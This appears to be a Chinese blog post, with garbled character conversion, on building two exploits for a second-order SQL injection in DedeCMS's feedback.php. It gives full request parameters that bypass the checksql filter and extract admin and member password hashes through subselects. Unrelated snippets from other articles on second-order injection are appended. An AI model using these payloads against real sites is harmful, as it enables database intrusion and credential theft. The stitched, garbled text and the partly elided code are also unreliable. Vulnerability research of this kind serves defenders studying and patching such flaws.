Dedecms二次注入經典exp構造

2021-12-29 22:12:04 字數 3980 閱讀 9276

0x01 前言

long long ago,[email protected]發現dedecms二次注入的乙個經典**審計中二次攻擊的案例,但限於字段大小不能超過60位元組而顯得比較雞肋,在safekeyer集體的智慧型之下發現兩種突破辦法。

此文重在exp的構造,如需詳細漏洞分析,請看:  

0x02 方法一:直接縮短法

理論:insert --> select -->insert -->select 

exp:(紅色表示重點資料)

第一次insert

/dede/plus/feedback.php

?action=send

&comtype=comments

&aid=1

&isconfirm=yes

&cmtuser=admin

&msg=asfsafsdaf

&face=6

&validate=slep

&title=1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23

&sbbt=%e5%8f%91%e9%80%81%e8%af%84%e8%ae%ba  

第二次insert

?action=send

&comtype=reply

&fid=27

&isconfirm=yes

&cmtuser=admin

&msg=asfsafsdaf

&face=6

&validate=angr

&title=1

&sbbt=%e5%8f%91%e9%80%81%e8%af%84%e8%ae%ba  

看出我們第一次insert的payload是:

1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23  

資料庫:

返回結果:

繞過具體**分析:  

01 function checksql($db_string,$querytype='select')  

02      

11             $clean .= substr($db_string, $old_pos, $pos - $old_pos);  

12             while (true)  

13              

20                 elseif ($pos2 == false || $pos2 > $pos1)  

21                  

25                 $pos = $pos2 + 1;  

26             }  

27             $clean .= '$s$';  

28             $old_pos = $pos + 1;  

29         }  

30         $clean .= substr($db_string, $old_pos);  

31 //echo $clean;exit();  

32         $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));  

33         ····(此處省略)      

34 }   

上述檢測**作用就是替換sql語句中兩個引號之間的內容為$s$

第二次insert的sql:

insert into 

`feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) 

values ('1','0','test','1',"'",1,3,4,5,6,7,8,(select pwd from dede_admin))#','127.0.0.1','1','1367583435','2','0','0','feedback','6','asfsafsdaf')

經過上述處理:

insert into 

`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) 

values ($s$,$s$,$s$,$s$,"$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)

然後function checksql($db_string,$querytype='select')得檢測繞過了。

重點在關於單引號的處理,用雙引號引上單引號,使單引號作為字串,單引號在繞過注入檢測起了重要作用,又使之在完整的insert不能發揮單引號作用,只作為字串。  

0x03 方法二:兩次插入結合法

理論:insert --> select -->insert -->select

exp:(紅色表示重點資料)

第一次insert

?action=send

&comtype=comments

&aid=1

&isconfirm=yes

&cmtuser=admin

&msg=asfsafsdaf

&face=6

&validate=slep

&title=1',(char(@`'`)),/*

&sbbt=%e5%8f%91%e9%80%81%e8%af%84%e8%ae%ba  

第二次insert

?aid=1

&action=send

&comtype=reply

&fid=48

&isconfirm=yes

&validate=craf

&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23

通過兩次insert向資料庫中插入payload的不同部分,然後組合起來成為乙個完整的payload

第一次插入:1',(char(@`'`)),/*

第二次插入:*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23  

組成最後完整的語句:

insert into 

`feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) 

values ('1','0','test','1',(char(@`'`)),/*','127.0.0.1','1','1367591176','2','0','0','feedback','0','@`\'`*/,2,3,4,5,6,7,8,(selectconcat(userid,0x7c,pwd)fromadmin))')

經過防注入函式處理:

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,(char(@`$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)

完全沒有問題繞過。

資料庫:

返回結果:  

0x03 結束語

如有錯誤希望指正,如有建議希望討論。

mysql注入 二次注入

場景 系統對傳入值使用mysql escape string做了轉義處理,不能直接注入,但取出值時會自動轉義,而 中未再次轉義就放到sql語句中使用 非預處理方式 使得間接注入成功,實際場景 乙個含有註冊 登入 修改密碼功能的系統。資料庫中有乙個使用者名為admin,密碼為admin的使用者,現註冊...

SQL二次注入

一 是什麼?何為二次注入?為了預防sql注入攻擊,而將輸入到應用程式中的某些資料進行了 轉義 escape 但是這些資料卻又在 未被轉義 unescaped 的查詢窗體中重複使用。簡單地說,二次注入和普通注入一樣是乙個程式漏洞,它發生在使用者提交的值被儲存在資料庫中,然後這個值被應用程式中的某些其他...

sqli 二次注入

針對場景 存在另一處操作直接呼叫輸入資料而不做其他處理 關鍵 尋找另一處引用這個資料的操作 如果另一處操作直接將1 作為變數帶進自身的sql語句中,且未做如轉義等處理,那1 的單引號便會發生作用,起到sql注入的效果 以sqlilabs 24關為例 先點選forget your pass?出來如下頁...